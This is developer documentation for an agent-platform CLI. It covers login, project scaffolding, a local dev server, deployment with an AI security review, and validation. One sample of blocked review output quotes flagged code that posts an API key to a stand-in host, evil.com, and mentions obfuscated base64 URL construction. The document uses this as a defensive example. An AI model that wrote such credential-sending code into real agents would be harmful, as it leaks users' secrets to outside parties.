CLI Reference

The Grexal developer CLI for scaffolding, testing, and deploying agents.

The developer CLI is a lightweight npm package for scaffolding, testing, and deploying agents. Run it via npx — no global install required.

npx grexal login
npx grexal init
npx grexal dev
npx grexal deploy
npx grexal validate

Authentication

Authenticates the CLI with the Grexal platform. Opens a browser-based auth flow (similar to gh auth login), then stores an auth token locally at ~/.grexal/credentials.json.

Required before npx grexal deploy can be used.

$ npx grexal login

  Opening browser to authenticate...
  ✓ Logged in as developer@example.com
  Credentials saved to ~/.grexal/credentials.json

`npx grexal logout`

Clears stored credentials from ~/.grexal/credentials.json.

Commands

`npx grexal init`

Scaffolds a new agent project. Interactive, minimal — two questions and done.

Language — Python or TypeScript?
Agent name — used for the directory and grexal.json name field

Generates:

my-agent/
├── grexal.json              — manifest with sensible defaults
├── agent.py or index.ts    — hello-world entrypoint using the SDK
├── requirements.txt or package.json  — with grexal-sdk dependency
├── .gitignore
└── .grexal/
    └── connections.json    — empty template for local dev credentials

`npx grexal dev`

Runs the agent locally in a simulated environment. This is the primary value of the CLI — it's the npm run dev equivalent for agents.

The dev server:

Reads grexal.json to determine language, entrypoint, connections, and resource limits
Validates grexal.json on startup and on every file change
Loads connection credentials from .grexal/connections.json
Warns if any declared connections are missing from the file (rather than letting the agent crash on ctx.connect())
Starts a local HTTP server that mimics the platform API
Prompts for task input (JSON)
Spawns the agent process with platform-equivalent environment variables
Prints logs, progress, and the final result to the terminal
After each run completes, waits for the next input
Watches for file changes and restarts automatically

How it works

Developer runs: npx grexal dev

CLI reads grexal.json
    ↓
CLI validates manifest (on startup + on every file change)
    ↓
CLI loads .grexal/connections.json, warns if declared connections are missing
    ↓
CLI starts local HTTP server on localhost:4700
  - POST /runs/:id/submit  → captures result, prints it
  - POST /runs/:id/log     → prints log to terminal
    ↓
CLI prompts for task input (or accepts --input flag)
    ↓
CLI sets env vars:
  - GREXAL_RUN_ID=dev-xxx
  - GREXAL_PLATFORM_URL=http://localhost:4700
  - GREXAL_RUN_TOKEN=dev-token
  - GREXAL_TASK_INPUT=<the input JSON>
  - Connection credentials from .grexal/connections.json
    ↓
CLI spawns: python agent.py (or node index.ts)
    ↓
Agent runs — SDK calls hit localhost, CLI prints output
    ↓
Agent calls ctx.submit(result) → CLI prints result, ends run
    ↓
CLI waits for next input

The SDK doesn't know it's in dev mode. It sees the same environment variables and makes the same HTTP calls — they just hit localhost instead of the platform. Same code, different target.

Example session

$ npx grexal dev

  Grexal Dev Server running
  Agent: stock-analyzer (Python)
  Listening on localhost:4700

  Connections loaded from .grexal/connections.json
    ✓ weather_api
    ✓ twitter_oauth

  Enter task input (JSON):
  > {"ticker": "AAPL"}

  Running...
  [log] Fetching price data...
  [log] Analyzing trends...
  [progress] 80%
  [result] {"recommendation": "buy", "confidence": 0.82}

  Run completed in 3.2s

  Enter task input (JSON):
  >

When the developer edits a file:

  File changed, restarting...

  Grexal Dev Server running
  Agent: stock-analyzer (Python)
  Listening on localhost:4700

First input via flag

For scripting or quick tests, skip the interactive prompt:

npx grexal dev --input '{"ticker": "AAPL"}'

The agent runs immediately with the provided input. After it completes, the CLI still waits for the next input interactively.

Deploys the agent to the Grexal marketplace. Every deployment goes through a mandatory AI security review that checks for credential abuse — the review runs before the build to avoid wasting resources on code that will be rejected.

What it does:

Validates grexal.json
Packages the agent code (respecting .gitignore and .grexalignore)
Uploads the package to the Grexal platform (authenticated)
AI security review runs on the diff vs. previous deployment
If review passes, the platform builds the agent (installs deps, packages artifact)
CLI streams review results and build logs in real-time
Reports success (deployment live) or failure (with error details and flagged concerns)

Prerequisites:

Must be authenticated (npx grexal login)
Must be in a directory with grexal.json

Example session

$ npx grexal deploy

  Deploying stock-analyzer (Python)
  Commit: a1b2c3d "Add retry logic to price fetcher"
  Branch: main

  Running security review...
  [review] Analyzing diff against previous deployment (v12)...
  [review] 3 files changed, 47 additions, 12 deletions
  ✓ Security review passed

  Building...
  [build] Unpacking uploaded code...
  [build] Cache hit — restoring dependencies
  [build] Packaging artifact (42 MB)
  [build] Uploading to storage...
  ✓ Build succeeded (8.3s)

  ✓ Deployed stock-analyzer v13
    https://grexal.dev/agents/stock-analyzer

Failed security review

If the AI security review flags concerns, the deployment is blocked before any build resources are consumed:

$ npx grexal deploy

  Deploying stock-analyzer (Python)

  Running security review...
  ✗ Security review flagged concerns:

    tools/data.py:34 — Credential value sent to external endpoint
      weather_key is passed to requests.post("https://evil.com/collect")

    tools/data.py:51 — Obfuscated outbound URL construction
      URL built from base64-decoded string, destination unclear

  Deployment blocked. Fix the flagged issues and deploy again.

`npx grexal validate`

Standalone validation of the agent project. Checks:

grexal.json exists and has all required fields
Entrypoint file exists
Resource limits are within platform maximums
Connection declarations are well-formed
Dependencies file exists (requirements.txt or package.json)

Useful in CI or as a pre-push check. During npx grexal dev, validation runs automatically on startup and on every file change, so developers rarely need this standalone.

Connections in dev mode

Agent connections (user credentials) are stored separately from developer environment variables. Developer env vars go in .env as usual. Connection credentials for local testing go in .grexal/connections.json.

The structure mirrors what grexal.json declares. If the manifest declares connections weather_api and twitter_oauth:

{
  "weather_api": {
    "api_key": "test-key-123",
    "api_secret": "test-secret-456"
  },
  "twitter_oauth": {
    "access_token": "dev-token"
  }
}

On startup, the CLI cross-references grexal.json connection declarations with .grexal/connections.json. If a declared connection is missing, the CLI warns before running:

  ⚠ Missing connection: stripe_api
    Declared in grexal.json but not found in .grexal/connections.json
    ctx.connect("stripe_api") will fail at runtime

.grexal/connections.json should be added to .gitignore — it contains test credentials that should never be committed.

What the CLI does not do

Manage agents — listing, updating, or deleting agents is done through the web platform
Manage billing — viewing usage, upgrading plans, or purchasing build credits is done through the web platform
Manage connections/credentials — adding or revoking user-facing connection credentials (OAuth tokens, API keys) is done through the web platform